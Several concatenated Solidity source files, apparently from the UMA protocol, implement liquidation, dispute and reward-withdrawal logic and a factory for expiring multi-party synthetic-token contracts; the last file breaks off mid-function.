* @return finalFeeBond amount of collateral to be posted by liquidator and returned if not disputed successfully.
*/
function createLiquidation(
address sponsor,
FixedPoint.Unsigned calldata minCollateralPerToken,
FixedPoint.Unsigned calldata maxCollateralPerToken,
FixedPoint.Unsigned calldata maxTokensToLiquidate,
uint256 deadline
)
external
notEmergencyShutdown()
fees()
nonReentrant()
returns (
uint256 liquidationId,
FixedPoint.Unsigned memory tokensLiquidated,
FixedPoint.Unsigned memory finalFeeBond
)
{
// Check that this transaction was mined pre-deadline.
require(getCurrentTime() <= deadline, "Mined after deadline");
// Retrieve Position data for sponsor
PositionData storage positionToLiquidate = _getPositionData(sponsor);
tokensLiquidated = FixedPoint.min(maxTokensToLiquidate, positionToLiquidate.tokensOutstanding);
require(tokensLiquidated.isGreaterThan(0));
// Starting values for the Position being liquidated. If withdrawal request amount is > position's collateral,
// then set this to 0, otherwise set it to (startCollateral - withdrawal request amount).
FixedPoint.Unsigned memory startCollateral = _getFeeAdjustedCollateral(positionToLiquidate.rawCollateral);
FixedPoint.Unsigned memory startCollateralNetOfWithdrawal = FixedPoint.fromUnscaledUint(0);
if (positionToLiquidate.withdrawalRequestAmount.isLessThanOrEqual(startCollateral)) {
startCollateralNetOfWithdrawal = startCollateral.sub(positionToLiquidate.withdrawalRequestAmount);
}
// Scoping to get rid of a stack too deep error.
{
FixedPoint.Unsigned memory startTokens = positionToLiquidate.tokensOutstanding;
// The Position's collateralization ratio must be between [minCollateralPerToken, maxCollateralPerToken].
require(
maxCollateralPerToken.mul(startTokens).isGreaterThanOrEqual(startCollateralNetOfWithdrawal),
"CR is more than max liq. price"
);
// minCollateralPerToken >= startCollateralNetOfWithdrawal / startTokens.
require(
minCollateralPerToken.mul(startTokens).isLessThanOrEqual(startCollateralNetOfWithdrawal),
"CR is less than min liq. price"
);
}
// Compute final fee at time of liquidation.
finalFeeBond = _computeFinalFees();
// These will be populated within the scope below.
FixedPoint.Unsigned memory lockedCollateral;
FixedPoint.Unsigned memory liquidatedCollateral;
// Scoping to get rid of a stack too deep error. The amount of tokens to remove from the position
// are not funding-rate adjusted because the multiplier only affects their redemption value, not their
// notional.
{
FixedPoint.Unsigned memory ratio = tokensLiquidated.div(positionToLiquidate.tokensOutstanding);
// The actual amount of collateral that gets moved to the liquidation.
lockedCollateral = startCollateral.mul(ratio);
// For purposes of disputes, it's actually this liquidatedCollateral value that's used. This value is net of
// withdrawal requests.
liquidatedCollateral = startCollateralNetOfWithdrawal.mul(ratio);
// Part of the withdrawal request is also removed. Ideally:
// liquidatedCollateral + withdrawalAmountToRemove = lockedCollateral.
FixedPoint.Unsigned memory withdrawalAmountToRemove =
positionToLiquidate.withdrawalRequestAmount.mul(ratio);
_reduceSponsorPosition(sponsor, tokensLiquidated, lockedCollateral, withdrawalAmountToRemove);
}
// Add to the global liquidation collateral count.
_addCollateral(rawLiquidationCollateral, lockedCollateral.add(finalFeeBond));
// Construct liquidation object.
// Note: All dispute-related values are zeroed out until a dispute occurs. liquidationId is the index of the new
// LiquidationData that is pushed into the array, which is equal to the current length of the array pre-push.
liquidationId = liquidations[sponsor].length;
liquidations[sponsor].push(
LiquidationData({
sponsor: sponsor,
liquidator: msg.sender,
state: Status.NotDisputed,
liquidationTime: getCurrentTime(),
tokensOutstanding: _getFundingRateAppliedTokenDebt(tokensLiquidated),
lockedCollateral: lockedCollateral,
liquidatedCollateral: liquidatedCollateral,
rawUnitCollateral: _convertToRawCollateral(FixedPoint.fromUnscaledUint(1)),
disputer: address(0),
settlementPrice: FixedPoint.fromUnscaledUint(0),
finalFee: finalFeeBond
})
);
// If this liquidation is a subsequent liquidation on the position, and the liquidation size is larger than
// some "griefing threshold", then re-set the liveness. This enables a liquidation against a withdraw request to be
// "dragged out" if the position is very large and liquidators need time to gather funds. The griefing threshold
// is enforced so that liquidations for trivially small # of tokens cannot drag out an honest sponsor's slow withdrawal.
// We arbitrarily set the "griefing threshold" to `minSponsorTokens` because it is the only parameter
// denominated in token currency units and we can avoid adding another parameter.
FixedPoint.Unsigned memory griefingThreshold = minSponsorTokens;
if (
positionToLiquidate.withdrawalRequestPassTimestamp > 0 && // The position is undergoing a slow withdrawal.
positionToLiquidate.withdrawalRequestPassTimestamp > getCurrentTime() && // The slow withdrawal has not yet expired.
tokensLiquidated.isGreaterThanOrEqual(griefingThreshold) // The liquidated token count is above a "griefing threshold".
) {
positionToLiquidate.withdrawalRequestPassTimestamp = getCurrentTime().add(withdrawalLiveness);
}
emit LiquidationCreated(
sponsor,
msg.sender,
liquidationId,
_getFundingRateAppliedTokenDebt(tokensLiquidated).rawValue,
lockedCollateral.rawValue,
liquidatedCollateral.rawValue,
getCurrentTime()
);
// Destroy tokens
tokenCurrency.safeTransferFrom(msg.sender, address(this), tokensLiquidated.rawValue);
tokenCurrency.burn(tokensLiquidated.rawValue);
// Pull final fee from liquidator.
collateralCurrency.safeTransferFrom(msg.sender, address(this), finalFeeBond.rawValue);
}
/**
* @notice Disputes a liquidation, if the caller has enough collateral to post a dispute bond and pay a fixed final
* fee charged on each price request.
* @dev Can only dispute a liquidation before the liquidation expires and if there are no other pending disputes.
* This contract must be approved to spend at least the dispute bond amount of `collateralCurrency`. This dispute
* bond amount is calculated from `disputeBondPercentage` times the collateral in the liquidation.
* @param liquidationId of the disputed liquidation.
* @param sponsor the address of the sponsor whose liquidation is being disputed.
* @return totalPaid amount of collateral charged to disputer (i.e. final fee bond + dispute bond).
*/
function dispute(uint256 liquidationId, address sponsor)
external
disputable(liquidationId, sponsor)
fees()
nonReentrant()
returns (FixedPoint.Unsigned memory totalPaid)
{
LiquidationData storage disputedLiquidation = _getLiquidationData(sponsor, liquidationId);
// Multiply by the unit collateral so the dispute bond is a percentage of the locked collateral after fees.
FixedPoint.Unsigned memory disputeBondAmount =
disputedLiquidation.lockedCollateral.mul(disputeBondPercentage).mul(
_getFeeAdjustedCollateral(disputedLiquidation.rawUnitCollateral)
);
_addCollateral(rawLiquidationCollateral, disputeBondAmount);
// Request a price from DVM. Liquidation is pending dispute until DVM returns a price.
disputedLiquidation.state = Status.Disputed;
disputedLiquidation.disputer = msg.sender;
// Enqueue a request with the DVM.
_requestOraclePrice(disputedLiquidation.liquidationTime);
emit LiquidationDisputed(
sponsor,
disputedLiquidation.liquidator,
msg.sender,
liquidationId,
disputeBondAmount.rawValue
);
totalPaid = disputeBondAmount.add(disputedLiquidation.finalFee);
// Pay the final fee for requesting price from the DVM.
_payFinalFees(msg.sender, disputedLiquidation.finalFee);
// Transfer the dispute bond amount from the caller to this contract.
collateralCurrency.safeTransferFrom(msg.sender, address(this), disputeBondAmount.rawValue);
}
/**
* @notice After a dispute has settled or after a non-disputed liquidation has expired,
* anyone can call this method to disperse payments to the sponsor, liquidator, and disputer.
* @dev If the dispute SUCCEEDED: the sponsor, liquidator, and disputer are eligible for payment.
* If the dispute FAILED: only the liquidator receives payment. This method deletes the liquidation data.
* This method will revert if rewards have already been dispersed.
* @param liquidationId uniquely identifies the sponsor's liquidation.
* @param sponsor address of the sponsor associated with the liquidation.
* @return data about rewards paid out.
*/
function withdrawLiquidation(uint256 liquidationId, address sponsor)
public
withdrawable(liquidationId, sponsor)
fees()
nonReentrant()
returns (RewardsData memory)
{
LiquidationData storage liquidation = _getLiquidationData(sponsor, liquidationId);
// Settles the liquidation if necessary. This call will revert if the price has not resolved yet.
_settle(liquidationId, sponsor);
// Calculate rewards as a function of the TRV.
// Note1: all payouts are scaled by the unit collateral value so all payouts are charged the fees pro rata.
// Note2: the tokenRedemptionValue uses the tokensOutstanding which was calculated using the funding rate at
// liquidation time from _getFundingRateAppliedTokenDebt. Therefore the TRV considers the full debt value at that time.
FixedPoint.Unsigned memory feeAttenuation = _getFeeAdjustedCollateral(liquidation.rawUnitCollateral);
FixedPoint.Unsigned memory settlementPrice = liquidation.settlementPrice;
FixedPoint.Unsigned memory tokenRedemptionValue =
liquidation.tokensOutstanding.mul(settlementPrice).mul(feeAttenuation);
FixedPoint.Unsigned memory collateral = liquidation.lockedCollateral.mul(feeAttenuation);
FixedPoint.Unsigned memory disputerDisputeReward = disputerDisputeRewardPercentage.mul(tokenRedemptionValue);
FixedPoint.Unsigned memory sponsorDisputeReward = sponsorDisputeRewardPercentage.mul(tokenRedemptionValue);
FixedPoint.Unsigned memory disputeBondAmount = collateral.mul(disputeBondPercentage);
FixedPoint.Unsigned memory finalFee = liquidation.finalFee.mul(feeAttenuation);
// There are three main outcome states: either the dispute succeeded, failed or was not updated.
// Based on the state, different parties of a liquidation receive different amounts.
// After assigning rewards based on the liquidation status, decrease the total collateral held in this contract
// by the amount to pay each party. The actual amounts withdrawn might differ if _removeCollateral causes
// precision loss.
RewardsData memory rewards;
if (liquidation.state == Status.DisputeSucceeded) {
// If the dispute is successful then all three users should receive rewards:
// Pay DISPUTER: disputer reward + dispute bond + returned final fee
rewards.payToDisputer = disputerDisputeReward.add(disputeBondAmount).add(finalFee);
// Pay SPONSOR: remaining collateral (collateral - TRV) + sponsor reward
rewards.payToSponsor = sponsorDisputeReward.add(collateral.sub(tokenRedemptionValue));
// Pay LIQUIDATOR: TRV - dispute reward - sponsor reward
// If TRV > Collateral, then subtract rewards from collateral
// NOTE: This should never be below zero since we prevent (sponsorDisputePercentage+disputerDisputePercentage) >= 0 in
// the constructor when these params are set.
rewards.payToLiquidator = tokenRedemptionValue.sub(sponsorDisputeReward).sub(disputerDisputeReward);
// Transfer rewards and debit collateral
rewards.paidToLiquidator = _removeCollateral(rawLiquidationCollateral, rewards.payToLiquidator);
rewards.paidToSponsor = _removeCollateral(rawLiquidationCollateral, rewards.payToSponsor);
rewards.paidToDisputer = _removeCollateral(rawLiquidationCollateral, rewards.payToDisputer);
collateralCurrency.safeTransfer(liquidation.disputer, rewards.paidToDisputer.rawValue);
collateralCurrency.safeTransfer(liquidation.liquidator, rewards.paidToLiquidator.rawValue);
collateralCurrency.safeTransfer(liquidation.sponsor, rewards.paidToSponsor.rawValue);
// In the case of a failed dispute only the liquidator can withdraw.
} else if (liquidation.state == Status.DisputeFailed) {
// Pay LIQUIDATOR: collateral + dispute bond + returned final fee
rewards.payToLiquidator = collateral.add(disputeBondAmount).add(finalFee);
// Transfer rewards and debit collateral
rewards.paidToLiquidator = _removeCollateral(rawLiquidationCollateral, rewards.payToLiquidator);
collateralCurrency.safeTransfer(liquidation.liquidator, rewards.paidToLiquidator.rawValue);
// If the state is pre-dispute but time has passed liveness then there was no dispute. We represent this
// state as a dispute failed and the liquidator can withdraw.
} else if (liquidation.state == Status.NotDisputed) {
// Pay LIQUIDATOR: collateral + returned final fee
rewards.payToLiquidator = collateral.add(finalFee);
// Transfer rewards and debit collateral
rewards.paidToLiquidator = _removeCollateral(rawLiquidationCollateral, rewards.payToLiquidator);
collateralCurrency.safeTransfer(liquidation.liquidator, rewards.paidToLiquidator.rawValue);
}
emit LiquidationWithdrawn(
msg.sender,
rewards.paidToLiquidator.rawValue,
rewards.paidToDisputer.rawValue,
rewards.paidToSponsor.rawValue,
liquidation.state,
settlementPrice.rawValue
);
// Free up space after collateral is withdrawn by removing the liquidation object from the array.
delete liquidations[sponsor][liquidationId];
return rewards;
}
/**
* @notice Gets all liquidation information for a given sponsor address.
* @param sponsor address of the position sponsor.
* @return liquidationData array of all liquidation information for the given sponsor address.
*/
function getLiquidations(address sponsor)
external
view
nonReentrantView()
returns (LiquidationData[] memory liquidationData)
{
return liquidations[sponsor];
}
/****************************************
* INTERNAL FUNCTIONS *
****************************************/
// This settles a liquidation if it is in the Disputed state. If not, it will immediately return.
// If the liquidation is in the Disputed state, but a price is not available, this will revert.
function _settle(uint256 liquidationId, address sponsor) internal {
LiquidationData storage liquidation = _getLiquidationData(sponsor, liquidationId);
// Settlement only happens when state == Disputed and will only happen once per liquidation.
// If this liquidation is not ready to be settled, this method should return immediately.
if (liquidation.state != Status.Disputed) {
return;
}
// Get the returned price from the oracle. If this has not yet resolved will revert.
liquidation.settlementPrice = _getOraclePrice(liquidation.liquidationTime);
// Find the value of the tokens in the underlying collateral.
FixedPoint.Unsigned memory tokenRedemptionValue =
liquidation.tokensOutstanding.mul(liquidation.settlementPrice);
// The required collateral is the value of the tokens in underlying * required collateral ratio.
FixedPoint.Unsigned memory requiredCollateral = tokenRedemptionValue.mul(collateralRequirement);
// If the position has more than the required collateral it is solvent and the dispute is valid (liquidation is invalid)
// Note that this check uses the liquidatedCollateral not the lockedCollateral as this considers withdrawals.
bool disputeSucceeded = liquidation.liquidatedCollateral.isGreaterThanOrEqual(requiredCollateral);
liquidation.state = disputeSucceeded ? Status.DisputeSucceeded : Status.DisputeFailed;
emit DisputeSettled(
msg.sender,
sponsor,
liquidation.liquidator,
liquidation.disputer,
liquidationId,
disputeSucceeded
);
}
function _pfc() internal view override returns (FixedPoint.Unsigned memory) {
return super._pfc().add(_getFeeAdjustedCollateral(rawLiquidationCollateral));
}
function _getLiquidationData(address sponsor, uint256 liquidationId)
internal
view
returns (LiquidationData storage liquidation)
{
LiquidationData[] storage liquidationArray = liquidations[sponsor];
// Revert if the caller is attempting to access an invalid liquidation
// (one that has never been created or one has never been initialized).
require(
liquidationId < liquidationArray.length && liquidationArray[liquidationId].state != Status.Uninitialized
);
return liquidationArray[liquidationId];
}
function _getLiquidationExpiry(LiquidationData storage liquidation) internal view returns (uint256) {
return liquidation.liquidationTime.add(liquidationLiveness);
}
// These internal functions are supposed to act identically to modifiers, but re-used modifiers
// unnecessarily increase contract bytecode size.
// source: https://blog.polymath.network/solidity-tips-and-tricks-to-save-gas-and-reduce-bytecode-size-c44580b218e6
function _disputable(uint256 liquidationId, address sponsor) internal view {
LiquidationData storage liquidation = _getLiquidationData(sponsor, liquidationId);
require(
(getCurrentTime() < _getLiquidationExpiry(liquidation)) && (liquidation.state == Status.NotDisputed),
"Liquidation not disputable"
);
}
function _withdrawable(uint256 liquidationId, address sponsor) internal view {
LiquidationData storage liquidation = _getLiquidationData(sponsor, liquidationId);
Status state = liquidation.state;
// Must be disputed or the liquidation has passed expiry.
require(
(state > Status.NotDisputed) ||
((_getLiquidationExpiry(liquidation) <= getCurrentTime()) && (state == Status.NotDisputed))
);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../../common/interfaces/ExpandedIERC20.sol";
import "../../common/interfaces/IERC20Standard.sol";
import "../../oracle/implementation/ContractCreator.sol";
import "../../common/implementation/Testable.sol";
import "../../common/implementation/AddressWhitelist.sol";
import "../../common/implementation/Lockable.sol";
import "../common/TokenFactory.sol";
import "../common/SyntheticToken.sol";
import "./ExpiringMultiPartyLib.sol";
/**
* @title Expiring Multi Party Contract creator.
* @notice Factory contract to create and register new instances of expiring multiparty contracts.
* Responsible for constraining the parameters used to construct a new EMP. This creator contains a number of constraints
* that are applied to newly created expiring multi party contract. These constraints can evolve over time and are
* initially constrained to conservative values in this first iteration. Technically there is nothing in the
* ExpiringMultiParty contract requiring these constraints. However, because `createExpiringMultiParty()` is intended
* to be the only way to create valid financial contracts that are registered with the DVM (via _registerContract),
we can enforce deployment configurations here.
*/
contract ExpiringMultiPartyCreator is ContractCreator, Testable, Lockable {
using FixedPoint for FixedPoint.Unsigned;
/****************************************
* EMP CREATOR DATA STRUCTURES *
****************************************/
struct Params {
uint256 expirationTimestamp;
address collateralAddress;
bytes32 priceFeedIdentifier;
string syntheticName;
string syntheticSymbol;
FixedPoint.Unsigned collateralRequirement;
FixedPoint.Unsigned disputeBondPercentage;
FixedPoint.Unsigned sponsorDisputeRewardPercentage;
FixedPoint.Unsigned disputerDisputeRewardPercentage;
FixedPoint.Unsigned minSponsorTokens;
uint256 withdrawalLiveness;
uint256 liquidationLiveness;
address financialProductLibraryAddress;
}
// Address of TokenFactory used to create a new synthetic token.
address public tokenFactoryAddress;
event CreatedExpiringMultiParty(address indexed expiringMultiPartyAddress, address indexed deployerAddress);
/**
* @notice Constructs the ExpiringMultiPartyCreator contract.
* @param _finderAddress UMA protocol Finder used to discover other protocol contracts.
* @param _tokenFactoryAddress ERC20 token factory used to deploy synthetic token instances.
* @param _timerAddress Contract that stores the current time in a testing environment.
*/
constructor(
address _finderAddress,
address _tokenFactoryAddress,
address _timerAddress
) public ContractCreator(_finderAddress) Testable(_timerAddress) nonReentrant() {
tokenFactoryAddress = _tokenFactoryAddress;
}
/**
* @notice Creates an instance of expiring multi party and registers it within the registry.
* @param params is a `ConstructorParams` object from ExpiringMultiParty.
* @return address of the deployed ExpiringMultiParty contract.
*/
function createExpiringMultiParty(Params memory params) public nonReentrant() returns (address) {
// Create a new synthetic token using the params.
require(bytes(params.syntheticName).length != 0, "Missing synthetic name");
require(bytes(params.syntheticSymbol).length != 0, "Missing synthetic symbol");
TokenFactory tf = TokenFactory(tokenFactoryAddress);
// If the collateral token does not have a `decimals()` method, then a default precision of 18 will be
// applied to the newly created synthetic token.
uint8 syntheticDecimals = _getSyntheticDecimals(params.collateralAddress);
ExpandedIERC20 tokenCurrency = tf.createToken(params.syntheticName, params.syntheticSymbol, syntheticDecimals);
address derivative = ExpiringMultiPartyLib.deploy(_convertParams(params, tokenCurrency));
// Give permissions to new derivative contract and then hand over ownership.
tokenCurrency.addMinter(derivative);
tokenCurrency.addBurner(derivative);
tokenCurrency.resetOwner(derivative);
_registerContract(new address[](0), derivative);
emit CreatedExpiringMultiParty(derivative, msg.sender);
return derivative;
}
/****************************************
* PRIVATE FUNCTIONS *
****************************************/
// Converts createExpiringMultiParty params to ExpiringMultiParty constructor params.
function _convertParams(Params memory params, ExpandedIERC20 newTokenCurrency)
private
view
returns (ExpiringMultiParty.ConstructorParams memory constructorParams)
{
// Known from creator deployment.
constructorParams.finderAddress = finderAddress;
constructorParams.timerAddress = timerAddress;
// Enforce configuration constraints.
require(params.withdrawalLiveness != 0, "Withdrawal liveness cannot be 0");
require(params.liquidationLiveness != 0, "Liquidation liveness cannot be 0");
require(params.expirationTimestamp > now, "Invalid expiration time");
_requireWhitelistedCollateral(params.collateralAddress);
// We don't want EMP deployers to be able to intentionally or unintentionally set
// liveness periods that could induce arithmetic overflow, but we also don't want
// to be opinionated about what livenesses are "correct", so we will somewhat
// arbitrarily set the liveness upper bound to 100 years (5200 weeks). In practice, liveness
// periods even greater than a few days would make the EMP unusable for most users.
require(params.withdrawalLiveness < 5200 weeks, "Withdrawal liveness too large");
require(params.liquidationLiveness < 5200 weeks, "Liquidation liveness too large");
// Input from function call.
constructorParams.tokenAddress = address(newTokenCurrency);
constructorParams.expirationTimestamp = params.expirationTimestamp;
constructorParams.collateralAddress = params.collateralAddress;
constructorParams.priceFeedIdentifier = params.priceFeedIdentifier;
constructorParams.collateralRequirement = params.collateralRequirement;
constructorParams.disputeBondPercentage = params.disputeBondPercentage;
constructorParams.sponsorDisputeRewardPercentage = params.sponsorDisputeRewardPercentage;
constructorParams.disputerDisputeRewardPercentage = params.disputerDisputeRewardPercentage;
constructorParams.minSponsorTokens = params.minSponsorTokens;
constructorParams.withdrawalLiveness = params.withdrawalLiveness;
constructorParams.liquidationLiveness = params.liquidationLiveness;
constructorParams.financialProductLibraryAddress = params.financialProductLibraryAddress;
}
// IERC20Standard.decimals() will revert if the collateral contract has not implemented the decimals() method,
// which is possible since the method is only an OPTIONAL method in the ERC20 standard:
// https://eips.ethereum.org/EIPS/eip-20#methods.
function _getSyntheticDecimals(address _collateralAddress) public view returns (uint8 decimals) {
try IERC20Standard(_collateralAddress).decimals() returns (uint8 _decimals) {
return _decimals;
} catch {
return 18;
}
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "./ExpiringMultiParty.sol";
/**
* @title Provides convenient Expiring Multi Party contract utilities.
* @dev Using this library to deploy EMP's allows calling contracts to avoid importing the full EMP bytecode.
*/
library ExpiringMultiPartyLib {
/**
* @notice Returns address of new EMP deployed with given `params` configuration.
* @dev Caller will need to register new EMP with the Registry to begin requesting prices. Caller is also
* responsible for enforcing constraints on `params`.
* @param params is a `ConstructorParams` object from ExpiringMultiParty.
* @return address of the deployed ExpiringMultiParty contract
*/
function deploy(ExpiringMultiParty.ConstructorParams memory params) public returns (address) {
ExpiringMultiParty derivative = new ExpiringMultiParty(params);
return address(derivative);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "./Liquidatable.sol";
/**
* @title Expiring Multi Party.
* @notice Convenient wrapper for Liquidatable.
*/
contract ExpiringMultiParty is Liquidatable {
/**
* @notice Constructs the ExpiringMultiParty contract.
* @param params struct to define input parameters for construction of Liquidatable. Some params
* are fed directly into the PricelessPositionManager's constructor within the inheritance tree.
*/
constructor(ConstructorParams memory params)
public
Liquidatable(params)
// Note: since there is no logic here, there is no need to add a re-entrancy guard.
{
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "./PricelessPositionManager.sol";
import "../../common/implementation/FixedPoint.sol";
/**
* @title Liquidatable
* @notice Adds logic to a position-managing contract that enables callers to liquidate an undercollateralized position.
* @dev The liquidation has a liveness period before expiring successfully, during which someone can "dispute" the
* liquidation, which sends a price request to the relevant Oracle to settle the final collateralization ratio based on
* a DVM price. The contract enforces dispute rewards in order to incentivize disputers to correctly dispute false
* liquidations and compensate position sponsors who had their position incorrectly liquidated. Importantly, a
* prospective disputer must deposit a dispute bond that they can lose in the case of an unsuccessful dispute.
* NOTE: this contract does _not_ work with ERC777 collateral currencies or any others that call into the receiver on
* transfer(). Using an ERC777 token would allow a user to maliciously grief other participants (while also losing
* money themselves).
*/
contract Liquidatable is PricelessPositionManager {
using FixedPoint for FixedPoint.Unsigned;
using SafeMath for uint256;
using SafeERC20 for IERC20;
using Address for address;
/****************************************
* LIQUIDATION DATA STRUCTURES *
****************************************/
// Because of the check in withdrawable(), the order of these enum values should not change.
enum Status { Uninitialized, NotDisputed, Disputed, DisputeSucceeded, DisputeFailed }
struct LiquidationData {
// Following variables set upon creation of liquidation:
address sponsor; // Address of the liquidated position's sponsor
address liquidator; // Address who created this liquidation
Status state; // Liquidated (and expired or not), Pending a Dispute, or Dispute has resolved
uint256 liquidationTime; // Time when liquidation is initiated, needed to get price from Oracle
// Following variables determined by the position that is being liquidated:
FixedPoint.Unsigned tokensOutstanding; // Synthetic tokens required to be burned by liquidator to initiate dispute
FixedPoint.Unsigned lockedCollateral; // Collateral locked by contract and released upon expiry or post-dispute
// Amount of collateral being liquidated, which could be different from
// lockedCollateral if there were pending withdrawals at the time of liquidation
FixedPoint.Unsigned liquidatedCollateral;
// Unit value (starts at 1) that is used to track the fees per unit of collateral over the course of the liquidation.
FixedPoint.Unsigned rawUnitCollateral;
// Following variable set upon initiation of a dispute:
address disputer; // Person who is disputing a liquidation
// Following variable set upon a resolution of a dispute:
FixedPoint.Unsigned settlementPrice; // Final price as determined by an Oracle following a dispute
FixedPoint.Unsigned finalFee;
}
// Define the contract's constructor parameters as a struct to enable more variables to be specified.
// This is required to enable more params, over and above Solidity's limits.
struct ConstructorParams {
// Params for PricelessPositionManager only.
uint256 expirationTimestamp;
uint256 withdrawalLiveness;
address collateralAddress;
address tokenAddress;
address finderAddress;
address timerAddress;
address financialProductLibraryAddress;
bytes32 priceFeedIdentifier;
FixedPoint.Unsigned minSponsorTokens;
// Params specifically for Liquidatable.
uint256 liquidationLiveness;
FixedPoint.Unsigned collateralRequirement;
FixedPoint.Unsigned disputeBondPercentage;
FixedPoint.Unsigned sponsorDisputeRewardPercentage;
FixedPoint.Unsigned disputerDisputeRewardPercentage;
}
// This struct is used in the `withdrawLiquidation` method that disperses liquidation and dispute rewards.
// `payToX` stores the total collateral to withdraw from the contract to pay X. This value might differ
// from `paidToX` due to precision loss between accounting for the `rawCollateral` versus the
// fee-adjusted collateral. These variables are stored within a struct to avoid the stack too deep error.
struct RewardsData {
FixedPoint.Unsigned payToSponsor;
FixedPoint.Unsigned payToLiquidator;
FixedPoint.Unsigned payToDisputer;
FixedPoint.Unsigned paidToSponsor;
FixedPoint.Unsigned paidToLiquidator;
FixedPoint.Unsigned paidToDisputer;
}
// Liquidations are unique by ID per sponsor
mapping(address => LiquidationData[]) public liquidations;
// Total collateral in liquidation.
FixedPoint.Unsigned public rawLiquidationCollateral;
// Immutable contract parameters:
// Amount of time for pending liquidation before expiry.
// !!Note: The lower the liquidation liveness value, the more risk incurred by sponsors.
// Extremely low liveness values increase the chance that opportunistic invalid liquidations
// expire without dispute, thereby decreasing the usability for sponsors and increasing the risk
// for the contract as a whole. An insolvent contract is extremely risky for any sponsor or synthetic
// token holder for the contract.
uint256 public liquidationLiveness;
// Required collateral:TRV ratio for a position to be considered sufficiently collateralized.
FixedPoint.Unsigned public collateralRequirement;
// Percent of a Liquidation/Position's lockedCollateral to be deposited by a potential disputer
// Represented as a multiplier, for example 1.5e18 = "150%" and 0.05e18 = "5%"
FixedPoint.Unsigned public disputeBondPercentage;
// Percent of oraclePrice paid to sponsor in the Disputed state (i.e. following a successful dispute)
// Represented as a multiplier, see above.
FixedPoint.Unsigned public sponsorDisputeRewardPercentage;
// Percent of oraclePrice paid to disputer in the Disputed state (i.e. following a successful dispute)
// Represented as a multiplier, see above.
FixedPoint.Unsigned public disputerDisputeRewardPercentage;
/****************************************
* EVENTS *
****************************************/
event LiquidationCreated(
address indexed sponsor,
address indexed liquidator,
uint256 indexed liquidationId,
uint256 tokensOutstanding,
uint256 lockedCollateral,
uint256 liquidatedCollateral,
uint256 liquidationTime
);
event LiquidationDisputed(
address indexed sponsor,
address indexed liquidator,
address indexed disputer,
uint256 liquidationId,
uint256 disputeBondAmount
);
event DisputeSettled(
address indexed caller,
address indexed sponsor,
address indexed liquidator,
address disputer,
uint256 liquidationId,
bool disputeSucceeded
);
event LiquidationWithdrawn(
address indexed caller,
uint256 paidToLiquidator,
uint256 paidToDisputer,
uint256 paidToSponsor,
Status indexed liquidationStatus,
uint256 settlementPrice
);
/****************************************
* MODIFIERS *
****************************************/
modifier disputable(uint256 liquidationId, address sponsor) {
_disputable(liquidationId, sponsor);
_;
}
modifier withdrawable(uint256 liquidationId, address sponsor) {
_withdrawable(liquidationId, sponsor);
_;
}
/**
* @notice Constructs the liquidatable contract.
* @param params struct to define input parameters for construction of Liquidatable. Some params
* are fed directly into the PricelessPositionManager's constructor within the inheritance tree.
*/
constructor(ConstructorParams memory params)
public
PricelessPositionManager(
params.expirationTimestamp,
params.withdrawalLiveness,
params.collateralAddress,
params.tokenAddress,
params.finderAddress,
params.priceFeedIdentifier,
params.minSponsorTokens,
params.timerAddress,
params.financialProductLibraryAddress
)
nonReentrant()
{
require(params.collateralRequirement.isGreaterThan(1));
require(params.sponsorDisputeRewardPercentage.add(params.disputerDisputeRewardPercentage).isLessThan(1));
// Set liquidatable specific variables.
liquidationLiveness = params.liquidationLiveness;
collateralRequirement = params.collateralRequirement;
disputeBondPercentage = params.disputeBondPercentage;
sponsorDisputeRewardPercentage = params.sponsorDisputeRewardPercentage;
disputerDisputeRewardPercentage = params.disputerDisputeRewardPercentage;
}
/****************************************
* LIQUIDATION FUNCTIONS *
****************************************/
/**
* @notice Liquidates the sponsor's position if the caller has enough
* synthetic tokens to retire the position's outstanding tokens. Liquidations above
* a minimum size also reset an ongoing "slow withdrawal"'s liveness.
* @dev This method generates an ID that will uniquely identify liquidation for the sponsor. This contract must be
* approved to spend at least `tokensLiquidated` of `tokenCurrency` and at least `finalFeeBond` of `collateralCurrency`.
* @dev This contract must have the Burner role for the `tokenCurrency`.
* @param sponsor address of the sponsor to liquidate.
* @param minCollateralPerToken abort the liquidation if the position's collateral per token is below this value.
* @param maxCollateralPerToken abort the liquidation if the position's collateral per token exceeds this value.
* @param maxTokensToLiquidate max number of tokens to liquidate.
* @param deadline abort the liquidation if the transaction is mined after this timestamp.
* @return liquidationId ID of the newly created liquidation.
* @return tokensLiquidated amount of synthetic tokens removed and liquidated from the `sponsor`'s position.
* @return finalFeeBond amount of collateral to be posted by liquidator and returned if not disputed successfully.
*/
function createLiquidation(
address sponsor,
FixedPoint.Unsigned calldata minCollateralPerToken,
FixedPoint.Unsigned calldata maxCollateralPerToken,
FixedPoint.Unsigned calldata maxTokensToLiquidate,
uint256 deadline
)
external
fees()
onlyPreExpiration()
nonReentrant()
returns (
uint256 liquidationId,
FixedPoint.Unsigned memory tokensLiquidated,
FixedPoint.Unsigned memory finalFeeBond
)
{
// Check that this transaction was mined pre-deadline.
require(getCurrentTime() <= deadline, "Mined after deadline");
// Retrieve Position data for sponsor
PositionData storage positionToLiquidate = _getPositionData(sponsor);
tokensLiquidated = FixedPoint.min(maxTokensToLiquidate, positionToLiquidate.tokensOutstanding);
require(tokensLiquidated.isGreaterThan(0));
// Starting values for the Position being liquidated. If withdrawal request amount is > position's collateral,
// then set this to 0, otherwise set it to (startCollateral - withdrawal request amount).
FixedPoint.Unsigned memory startCollateral = _getFeeAdjustedCollateral(positionToLiquidate.rawCollateral);
FixedPoint.Unsigned memory startCollateralNetOfWithdrawal = FixedPoint.fromUnscaledUint(0);
if (positionToLiquidate.withdrawalRequestAmount.isLessThanOrEqual(startCollateral)) {
startCollateralNetOfWithdrawal = startCollateral.sub(positionToLiquidate.withdrawalRequestAmount);
}
// Scoping to get rid of a stack too deep error.
{
FixedPoint.Unsigned memory startTokens = positionToLiquidate.tokensOutstanding;
// The Position's collateralization ratio must be between [minCollateralPerToken, maxCollateralPerToken].
// maxCollateralPerToken >= startCollateralNetOfWithdrawal / startTokens.
require(
